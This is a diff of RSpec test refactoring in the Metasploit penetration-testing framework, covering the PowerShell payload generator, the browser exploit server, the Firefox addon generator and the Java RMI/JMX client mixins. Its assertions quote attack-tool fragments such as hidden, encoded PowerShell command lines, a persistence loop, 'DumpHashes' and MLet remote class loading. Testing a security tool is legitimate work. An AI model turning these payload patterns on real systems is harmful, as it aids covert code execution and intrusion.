||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script)
|
||||
decompress(compressed).include?('DumpHashes').should be_truthy
|
||||
expect(decompress(compressed).include?('DumpHashes')).to be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -159,28 +159,28 @@ describe Msf::Exploit::Powershell do
|
|||
context 'when x86 payload' do
|
||||
it 'should generate code' do
|
||||
code = subject.run_hidden_psh(payload, arch, encoded)
|
||||
code.include?('syswow64').should be_truthy
|
||||
expect(code.include?('syswow64')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when x64 payload' do
|
||||
it 'should generate code' do
|
||||
code = subject.run_hidden_psh(payload, 'x86_64', encoded)
|
||||
code.include?('sysnative').should be_truthy
|
||||
expect(code.include?('sysnative')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when encoded' do
|
||||
it 'should generate a code including an encoded command' do
|
||||
code = subject.run_hidden_psh(payload, arch, true)
|
||||
code.include?('-nop -w hidden -e ').should be_truthy
|
||||
expect(code.include?('-nop -w hidden -e ')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when command' do
|
||||
it 'should generate code including a -c command' do
|
||||
code = subject.run_hidden_psh(payload, arch, encoded)
|
||||
code.include?('-nop -w hidden -c ').should be_truthy
|
||||
expect(code.include?('-nop -w hidden -c ')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -191,7 +191,7 @@ describe Msf::Exploit::Powershell do
|
|||
end
|
||||
it 'should generate a code including unshorted args' do
|
||||
code = subject.run_hidden_psh(payload, arch, encoded)
|
||||
code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ').should be_truthy
|
||||
expect(code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ')).to be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -206,7 +206,7 @@ describe Msf::Exploit::Powershell do
|
|||
except = true
|
||||
end
|
||||
|
||||
except.should be_truthy
|
||||
expect(except).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -217,7 +217,7 @@ describe Msf::Exploit::Powershell do
|
|||
end
|
||||
it 'should add a persistance loop' do
|
||||
code = subject.cmd_psh_payload(payload, arch)
|
||||
decompress(code).include?('while(1){Start-Sleep -s ').should be_truthy
|
||||
expect(decompress(code).include?('while(1){Start-Sleep -s ')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -228,7 +228,7 @@ describe Msf::Exploit::Powershell do
|
|||
end
|
||||
it 'shouldnt add a persistance loop' do
|
||||
code = subject.cmd_psh_payload(payload, arch)
|
||||
decompress(code).include?('while(1){Start-Sleep -s ').should be_falsey
|
||||
expect(decompress(code).include?('while(1){Start-Sleep -s ')).to be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -239,7 +239,7 @@ describe Msf::Exploit::Powershell do
|
|||
end
|
||||
it 'should prepend sleep' do
|
||||
code = subject.cmd_psh_payload(payload, arch)
|
||||
decompress(code).include?('Start-Sleep -s ').should be_truthy
|
||||
expect(decompress(code).include?('Start-Sleep -s ')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -250,7 +250,7 @@ describe Msf::Exploit::Powershell do
|
|||
end
|
||||
it 'shouldnt prepend sleep' do
|
||||
code = subject.cmd_psh_payload(payload, arch)
|
||||
decompress(code).include?('Start-Sleep -s ').should be_falsey
|
||||
expect(decompress(code).include?('Start-Sleep -s ')).to be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -261,7 +261,7 @@ describe Msf::Exploit::Powershell do
|
|||
end
|
||||
it 'shouldnt prepend sleep' do
|
||||
code = subject.cmd_psh_payload(payload, arch)
|
||||
decompress(code).include?('Start-Sleep -s ').should be_falsey
|
||||
expect(decompress(code).include?('Start-Sleep -s ')).to be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -272,15 +272,15 @@ describe Msf::Exploit::Powershell do
|
|||
end
|
||||
it 'should generate a command line' do
|
||||
code = subject.cmd_psh_payload(payload, arch)
|
||||
decompress(code).include?('-namespace Win32Functions').should be_truthy
|
||||
expect(decompress(code).include?('-namespace Win32Functions')).to be_truthy
|
||||
end
|
||||
it 'shouldnt shorten args' do
|
||||
code = subject.cmd_psh_payload(payload, arch)
|
||||
code.include?('-NoProfile -WindowStyle hidden -Command').should be_truthy
|
||||
expect(code.include?('-NoProfile -WindowStyle hidden -Command')).to be_truthy
|
||||
end
|
||||
it 'should include -NoExit' do
|
||||
code = subject.cmd_psh_payload(payload, arch)
|
||||
code.include?('-NoProfile -WindowStyle hidden -NoExit -Command').should be_truthy
|
||||
expect(code.include?('-NoProfile -WindowStyle hidden -NoExit -Command')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -291,7 +291,7 @@ describe Msf::Exploit::Powershell do
|
|||
end
|
||||
it 'should generate a command line' do
|
||||
code = subject.cmd_psh_payload(payload, arch)
|
||||
decompress(code).include?('System.Runtime.InteropServices;').should be_truthy
|
||||
expect(decompress(code).include?('System.Runtime.InteropServices;')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -302,7 +302,7 @@ describe Msf::Exploit::Powershell do
|
|||
end
|
||||
it 'should generate a command line' do
|
||||
code = subject.cmd_psh_payload(payload, arch)
|
||||
decompress(code).include?('GlobalAssemblyCache').should be_truthy
|
||||
expect(decompress(code).include?('GlobalAssemblyCache')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -318,7 +318,7 @@ describe Msf::Exploit::Powershell do
|
|||
rescue RuntimeError
|
||||
except = true
|
||||
end
|
||||
except.should be_truthy
|
||||
expect(except).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -333,7 +333,7 @@ describe Msf::Exploit::Powershell do
|
|||
rescue RuntimeError
|
||||
except = true
|
||||
end
|
||||
except.should be_truthy
|
||||
expect(except).to be_truthy
|
||||
end
|
||||
after do
|
||||
subject.datastore['Powershell::method'] = 'reflection'
|
||||
|
@ -344,7 +344,7 @@ describe Msf::Exploit::Powershell do
|
|||
context 'when encode_inner_payload' do
|
||||
it 'should contain an inner payload with -e' do
|
||||
code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true})
|
||||
code.include?(' -e ').should be_truthy
|
||||
expect(code.include?(' -e ')).to be_truthy
|
||||
end
|
||||
|
||||
context 'when no_equals is true' do
|
||||
|
@ -355,7 +355,7 @@ describe Msf::Exploit::Powershell do
|
|||
rescue RuntimeError
|
||||
except = true
|
||||
end
|
||||
except.should be_truthy
|
||||
expect(except).to be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -364,16 +364,16 @@ describe Msf::Exploit::Powershell do
|
|||
context 'when no_equals is false' do
|
||||
it 'should contain a final payload with -e' do
|
||||
code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => false})
|
||||
code.include?(' -e ').should be_truthy
|
||||
code.include?(' -c ').should be_falsey
|
||||
expect(code.include?(' -e ')).to be_truthy
|
||||
expect(code.include?(' -c ')).to be_falsey
|
||||
end
|
||||
end
|
||||
context 'when no_equals is true' do
|
||||
it 'should contain a final payload with -e' do
|
||||
code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => true})
|
||||
code.include?(' -e ').should be_truthy
|
||||
code.include?(' -c ').should be_falsey
|
||||
code.include?('=').should be_falsey
|
||||
expect(code.include?(' -e ')).to be_truthy
|
||||
expect(code.include?(' -c ')).to be_falsey
|
||||
expect(code.include?('=')).to be_falsey
|
||||
end
|
||||
end
|
||||
context 'when encode_inner_payload is true' do
|
||||
|
@ -384,7 +384,7 @@ describe Msf::Exploit::Powershell do
|
|||
rescue RuntimeError
|
||||
except = true
|
||||
end
|
||||
except.should be_truthy
|
||||
expect(except).to be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -392,14 +392,14 @@ describe Msf::Exploit::Powershell do
|
|||
context 'when remove_comspec' do
|
||||
it 'shouldnt contain %COMSPEC%' do
|
||||
code = subject.cmd_psh_payload(payload, arch, {:remove_comspec => true})
|
||||
code.include?('%COMSPEC%').should be_falsey
|
||||
expect(code.include?('%COMSPEC%')).to be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
context 'when use single quotes' do
|
||||
it 'should wrap in single quotes' do
|
||||
code = subject.cmd_psh_payload(payload, arch, {:use_single_quotes => true})
|
||||
code.include?(' -c \'').should be_truthy
|
||||
expect(code.include?(' -c \'')).to be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -408,33 +408,33 @@ describe Msf::Exploit::Powershell do
|
|||
it 'should contain no full stop when :no_full_stop' do
|
||||
opts = {:no_full_stop => true}
|
||||
command = subject.generate_psh_command_line(opts)
|
||||
command.include?("powershell ").should be_truthy
|
||||
expect(command.include?("powershell ")).to be_truthy
|
||||
end
|
||||
|
||||
it 'should contain full stop unless :no_full_stop' do
|
||||
opts = {}
|
||||
command = subject.generate_psh_command_line(opts)
|
||||
command.include?("powershell.exe ").should be_truthy
|
||||
expect(command.include?("powershell.exe ")).to be_truthy
|
||||
|
||||
opts = {:no_full_stop => false}
|
||||
command = subject.generate_psh_command_line(opts)
|
||||
command.include?("powershell.exe ").should be_truthy
|
||||
expect(command.include?("powershell.exe ")).to be_truthy
|
||||
end
|
||||
|
||||
it 'should ensure the path should always ends with \\' do
|
||||
opts = {:path => "test"}
|
||||
command = subject.generate_psh_command_line(opts)
|
||||
command.include?("test\\powershell.exe ").should be_truthy
|
||||
expect(command.include?("test\\powershell.exe ")).to be_truthy
|
||||
|
||||
opts = {:path => "test\\"}
|
||||
command = subject.generate_psh_command_line(opts)
|
||||
command.include?("test\\powershell.exe ").should be_truthy
|
||||
expect(command.include?("test\\powershell.exe ")).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
describe "::generate_psh_args" do
|
||||
it 'should return empty string for nil opts' do
|
||||
subject.generate_psh_args(nil).should eql ""
|
||||
expect(subject.generate_psh_args(nil)).to eql ""
|
||||
end
|
||||
|
||||
command_args = [[:encodedcommand, "parp"],
|
||||
|
@ -466,18 +466,18 @@ describe Msf::Exploit::Powershell do
|
|||
|
||||
opt_length = opts.length - 1
|
||||
|
||||
short_args.should_not be_nil
|
||||
long_args.should_not be_nil
|
||||
short_args.count('-').should eql opt_length
|
||||
long_args.count('-').should eql opt_length
|
||||
short_args[0].should_not eql " "
|
||||
long_args[0].should_not eql " "
|
||||
short_args[-1].should_not eql " "
|
||||
long_args[-1].should_not eql " "
|
||||
expect(short_args).not_to be_nil
|
||||
expect(long_args).not_to be_nil
|
||||
expect(short_args.count('-')).to eql opt_length
|
||||
expect(long_args.count('-')).to eql opt_length
|
||||
expect(short_args[0]).not_to eql " "
|
||||
expect(long_args[0]).not_to eql " "
|
||||
expect(short_args[-1]).not_to eql " "
|
||||
expect(long_args[-1]).not_to eql " "
|
||||
|
||||
if opts[:command]
|
||||
long_args[-10..-1].should eql "-Command Z"
|
||||
short_args[-4..-1].should eql "-c Z"
|
||||
expect(long_args[-10..-1]).to eql "-Command Z"
|
||||
expect(short_args[-4..-1]).to eql "-c Z"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
#require 'spec_helper'
|
||||
require 'msf/core'
|
||||
|
||||
describe Msf::Exploit::Remote::BrowserExploitServer do
|
||||
RSpec.describe Msf::Exploit::Remote::BrowserExploitServer do
|
||||
|
||||
let(:in_memory_profile) do
|
||||
{
|
||||
|
@ -38,9 +38,14 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
|||
end
|
||||
|
||||
let(:cli) do
|
||||
sock = Rex::Socket::Tcp
|
||||
sock_class = Class.new do
|
||||
include Rex::Socket::Tcp
|
||||
end
|
||||
|
||||
sock = sock_class.new
|
||||
allow(sock).to receive(:peerhost).and_return('0.0.0.0')
|
||||
allow(sock).to receive(:peerport).and_return(4444)
|
||||
|
||||
sock
|
||||
end
|
||||
|
||||
|
@ -109,7 +114,7 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
|||
end
|
||||
|
||||
before do
|
||||
Rex::ServiceManager.stub(:start => service_double)
|
||||
allow(Rex::ServiceManager).to receive(:start).and_return(service_double)
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
|
@ -149,7 +154,7 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
|||
fake_browser_info = nil
|
||||
expect {
|
||||
server.on_request_exploit(fake_cli, fake_request, fake_browser_info)
|
||||
}.to raise_error
|
||||
}.to raise_error(NoMethodError)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -157,7 +162,7 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
|||
it "returns a target" do
|
||||
expected_object = double('Msf::Module::Target')
|
||||
server.instance_variable_set(:@target, expected_object)
|
||||
server.get_target.should eq(expected_object)
|
||||
expect(server.get_target).to eq(expected_object)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -199,9 +204,6 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
|||
|
||||
describe '#on_request_uri' do
|
||||
before(:each) do
|
||||
allow(server).to receive(:get_profile_info) { in_memory_profile }
|
||||
allow(server).to receive(:init_profile).with(kind_of(String))
|
||||
allow(server).to receive(:update_profile)
|
||||
allow(server).to receive(:process_browser_info)
|
||||
allow(server).to receive(:send_response) { @send_response_called = true }
|
||||
allow(server).to receive(:send_redirect) { @send_redirect_called = true }
|
||||
|
|
|
@ -1,12 +1,12 @@
|
|||
require 'msf/core'
|
||||
|
||||
describe Msf::Exploit::Remote::BrowserProfileManager do
|
||||
RSpec.describe Msf::Exploit::Remote::BrowserProfileManager do
|
||||
|
||||
subject do
|
||||
subject(:exploit_remmote) {
|
||||
mod = Msf::Exploit::Remote.allocate
|
||||
mod.extend described_class
|
||||
mod
|
||||
end
|
||||
}
|
||||
|
||||
let(:default_profile) do
|
||||
{
|
||||
|
@ -15,9 +15,8 @@ describe Msf::Exploit::Remote::BrowserProfileManager do
|
|||
end
|
||||
|
||||
before(:each) do
|
||||
framework = double('framework')
|
||||
allow(framework).to receive(:browser_profiles).and_return(default_profile)
|
||||
allow_any_instance_of(described_class).to receive(:framework).and_return(framework)
|
||||
framework = double('framework', browser_profiles: default_profile)
|
||||
allow(exploit_remmote).to receive(:framework).and_return(framework)
|
||||
end
|
||||
|
||||
describe '#browser_profile_prefix' do
|
||||
|
|
|
@ -1,34 +1,39 @@
|
|||
require 'spec_helper'
|
||||
require 'msf/core'
|
||||
|
||||
describe Msf::Exploit::Remote::FirefoxAddonGenerator do
|
||||
let(:datastore) { { 'TARGET' => 0 } }
|
||||
let(:jar) { double(:pack => '@JAR@', :build_manifest => nil) }
|
||||
let(:payload) { double(:encoded => '@EXE@', :encoded_jar => jar) }
|
||||
let(:framework) { double(:nops => nil) }
|
||||
let(:cli) { double }
|
||||
|
||||
subject(:mod) do
|
||||
mod = Msf::Exploit::Remote.allocate
|
||||
mod.extend described_class
|
||||
mod.extend Msf::Exploit::Remote::BrowserExploitServer
|
||||
mod.send(:initialize, {})
|
||||
mod.stub(
|
||||
:payload => payload,
|
||||
:regenerate_payload => payload,
|
||||
:framework => framework,
|
||||
:datastore => datastore
|
||||
)
|
||||
mod
|
||||
RSpec.describe Msf::Exploit::Remote::FirefoxAddonGenerator do
|
||||
subject(:instance) do
|
||||
klass.new.tap { |instance|
|
||||
allow(instance).to receive(:datastore).and_return(datastore)
|
||||
allow(instance).to receive(:framework).and_return(framework)
|
||||
allow(instance).to receive(:payload).and_return(payload)
|
||||
allow(instance).to receive(:regenerate_payload).and_return(payload)
|
||||
}
|
||||
end
|
||||
|
||||
let(:cli) { double }
|
||||
let(:datastore) { { 'TARGET' => 0 } }
|
||||
let(:framework) { double(:nops => nil) }
|
||||
let(:jar) { double(:pack => '@JAR@', :build_manifest => nil) }
|
||||
|
||||
let(:klass) {
|
||||
context_described_class = described_class
|
||||
|
||||
Class.new(Msf::Exploit::Remote) do
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
include context_described_class
|
||||
end
|
||||
}
|
||||
|
||||
let(:payload) { double(:encoded => '@EXE@', :encoded_jar => jar) }
|
||||
|
||||
it { is_expected.to respond_to :generate_addon_xpi }
|
||||
|
||||
describe '#generate_addon_xpi' do
|
||||
let(:xpi) { mod.generate_addon_xpi(cli) }
|
||||
subject(:xpi) {
|
||||
instance.generate_addon_xpi(cli)
|
||||
}
|
||||
|
||||
it { should respond_to :generate_addon_xpi }
|
||||
|
||||
it 'should return an instance of Rex::Zip::Archive' do
|
||||
xpi.should be_kind_of Rex::Zip::Archive
|
||||
end
|
||||
it { is_expected.to be_a Rex::Zip::Archive }
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'msf/core'
|
||||
|
||||
describe Msf::Exploit::Remote::FirefoxPrivilegeEscalation do
|
||||
RSpec.describe Msf::Exploit::Remote::FirefoxPrivilegeEscalation do
|
||||
|
||||
it_should_behave_like 'Msf::Exploit::JSObfu'
|
||||
|
||||
|
|
|
@ -5,7 +5,7 @@ require 'rex/java/serialization'
|
|||
require 'rex/proto/rmi'
|
||||
require 'msf/core/exploit/java/rmi/builder'
|
||||
|
||||
describe Msf::Exploit::Remote::Java::Rmi::Builder do
|
||||
RSpec.describe Msf::Exploit::Remote::Java::Rmi::Builder do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Exploit::Remote::Java::Rmi::Builder
|
||||
|
|
|
@ -6,7 +6,7 @@ require 'rex/java/serialization'
|
|||
require 'rex/proto/rmi'
|
||||
require 'msf/core/exploit/java/rmi/client'
|
||||
|
||||
describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection::Builder do
|
||||
RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection::Builder do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client
|
||||
|
|
|
@ -4,13 +4,34 @@ require 'spec_helper'
|
|||
require 'rex/java/serialization'
|
||||
require 'rex/proto/rmi'
|
||||
require 'msf/core/exploit/java/rmi/client'
|
||||
require 'stringio'
|
||||
|
||||
describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do
|
||||
RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do
|
||||
|
||||
include_context "Msf::StringIO"
|
||||
|
||||
let(:name_create) { 'javax.management.loading.MLet' }
|
||||
|
||||
let(:remote_address) do
|
||||
'172.16.158.132'
|
||||
end
|
||||
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
describe "#send_jmx_get_object_instance" do
|
||||
context "when the object exists" do
|
||||
|
||||
#
|
||||
# lets
|
||||
#
|
||||
|
||||
let(:name_get) { 'DefaultDomain:type=MLet' }
|
||||
|
||||
let(:get_object_instance_response) do
|
||||
let(:get_object_instance_response) {
|
||||
"\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" +
|
||||
"\x4e\x3d\x1c\x2f\x80\x08\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" +
|
||||
"\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" +
|
||||
|
@ -27,11 +48,23 @@ describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do
|
|||
"\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" +
|
||||
"\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" +
|
||||
"\x65\x3d\x4d\x4c\x65\x74\x78"
|
||||
}
|
||||
|
||||
it "returns true" do
|
||||
msf_io.msf_data = get_object_instance_response
|
||||
expect(mod.send_jmx_get_object_instance(sock: msf_io, name: name_get)).to be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
let(:name_create) { 'javax.management.loading.MLet' }
|
||||
describe "#send_jmx_create_mbean" do
|
||||
context "when the object is created successfully" do
|
||||
|
||||
let(:create_mbean_response) do
|
||||
#
|
||||
# lets
|
||||
#
|
||||
|
||||
let(:create_mbean_response) {
|
||||
"\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" +
|
||||
"\x4e\x3d\x1c\x2f\x80\x07\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" +
|
||||
"\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" +
|
||||
|
@ -48,7 +81,21 @@ describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do
|
|||
"\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" +
|
||||
"\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" +
|
||||
"\x65\x3d\x4d\x4c\x65\x74\x78"
|
||||
}
|
||||
|
||||
it "returns true" do
|
||||
msf_io.msf_data = create_mbean_response
|
||||
expect(mod.send_jmx_create_mbean(sock: msf_io, name: name_create)).to be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_jmx_invoke" do
|
||||
context "when the remote method is called successfully" do
|
||||
|
||||
#
|
||||
# lets
|
||||
#
|
||||
|
||||
let(:invoke_args) do
|
||||
{
|
||||
|
@ -80,87 +127,9 @@ describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do
|
|||
"\x6c\x6f\x61\x64\x2c\x69\x64\x3d\x31\x78\x78"
|
||||
end
|
||||
|
||||
let(:remote_address) do
|
||||
'172.16.158.132'
|
||||
end
|
||||
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:io) { StringIO.new('', 'w+b') }
|
||||
|
||||
describe "#send_jmx_get_object_instance" do
|
||||
context "when the object exists" do
|
||||
before(:each) do
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.seek(0)
|
||||
io.write(get_object_instance_response)
|
||||
io.seek(0)
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
|
||||
io.read
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io|
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
it "returns true" do
|
||||
expect(mod.send_jmx_get_object_instance(sock: io, name: name_get)).to be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_jmx_create_mbean" do
|
||||
context "when the object is created successfully" do
|
||||
before(:each) do
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.seek(0)
|
||||
io.write(create_mbean_response)
|
||||
io.seek(0)
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
|
||||
io.read
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io|
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
it "returns true" do
|
||||
expect(mod.send_jmx_create_mbean(sock: io, name: name_create)).to be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_jmx_invoke" do
|
||||
context "when the remote method is called successfully" do
|
||||
before(:each) do
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.seek(0)
|
||||
io.write(invoke_response)
|
||||
io.seek(0)
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
|
||||
io.read
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io|
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
it "returns true" do
|
||||
expect(mod.send_jmx_invoke(invoke_args.merge(sock: io))).to be_truthy
|
||||
msf_io.msf_data = invoke_response
|
||||
expect(mod.send_jmx_invoke(invoke_args.merge(sock: msf_io))).to be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -6,7 +6,7 @@ require 'rex/java/serialization'
|
|||
require 'rex/proto/rmi'
|
||||
require 'msf/core/exploit/java/rmi/client'
|
||||
|
||||
describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server::Builder do
|
||||
RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server::Builder do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client
|
||||
|
|
|
@ -5,7 +5,7 @@ require 'rex/java/serialization'
|
|||
require 'rex/proto/rmi'
|
||||
require 'msf/core/exploit/java/rmi/client'
|
||||
|
||||
describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server::Parser do
|
||||
RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server::Parser do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client
|
||||
|
|
|
@ -4,11 +4,33 @@ require 'spec_helper'
|
|||
require 'rex/java/serialization'
|
||||
require 'rex/proto/rmi'
|
||||
require 'msf/core/exploit/java/rmi/client'
|
||||
require 'stringio'
|
||||
|
||||
describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do
|
||||
RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do
|
||||
|
||||
let(:new_client_response) do
|
||||
include_context "Msf::StringIO"
|
||||
|
||||
subject(:instance) {
|
||||
klass.new
|
||||
}
|
||||
|
||||
let(:klass) {
|
||||
Class.new(Msf::Exploit) do
|
||||
include Msf::Exploit::Remote::Java::Rmi::Client
|
||||
end
|
||||
}
|
||||
|
||||
describe "#send_new_client" do
|
||||
context "when there is an RMIServerImpl_Stub interface" do
|
||||
|
||||
#
|
||||
# lets
|
||||
#
|
||||
|
||||
let(:remote_address) {
|
||||
'172.16.158.132'
|
||||
}
|
||||
|
||||
let(:new_client_response) {
|
||||
"\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" +
|
||||
"\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" +
|
||||
"\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" +
|
||||
|
@ -24,41 +46,11 @@ describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do
|
|||
"\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" +
|
||||
"\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" +
|
||||
"\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78"
|
||||
end
|
||||
|
||||
let(:remote_address) do
|
||||
'172.16.158.132'
|
||||
end
|
||||
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:io) { StringIO.new('', 'w+b') }
|
||||
|
||||
describe "#send_new_client" do
|
||||
context "when there is an RMIServerImpl_Stub interface" do
|
||||
before(:each) do
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.seek(0)
|
||||
io.write(new_client_response)
|
||||
io.seek(0)
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
|
||||
io.read
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io|
|
||||
false
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
it "returns the reference information" do
|
||||
expect(mod.send_new_client(sock: io)[:address]).to eq(remote_address)
|
||||
msf_io.msf_data = new_client_response
|
||||
expect(instance.send_new_client(sock: msf_io)[:address]).to eq(remote_address)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -5,7 +5,7 @@ require 'rex/java/serialization'
|
|||
require 'rex/proto/rmi'
|
||||
require 'msf/core/exploit/java/rmi/client'
|
||||
|
||||
describe ::Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder do
|
||||
RSpec.describe ::Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client
|
||||
|
|
|
@ -5,7 +5,7 @@ require 'rex/java/serialization'
|
|||
require 'rex/proto/rmi'
|
||||
require 'msf/core/exploit/java/rmi/client'
|
||||
|
||||
describe Msf::Exploit::Remote::Java::Rmi::Client::Registry::Parser do
|
||||
RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry::Parser do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client
|
||||
|
|
|
@ -4,44 +4,61 @@ require 'spec_helper'
|
|||
require 'rex/java/serialization'
|
||||
require 'rex/proto/rmi'
|
||||
require 'msf/core/exploit/java/rmi/client'
|
||||
require 'stringio'
|
||||
|
||||
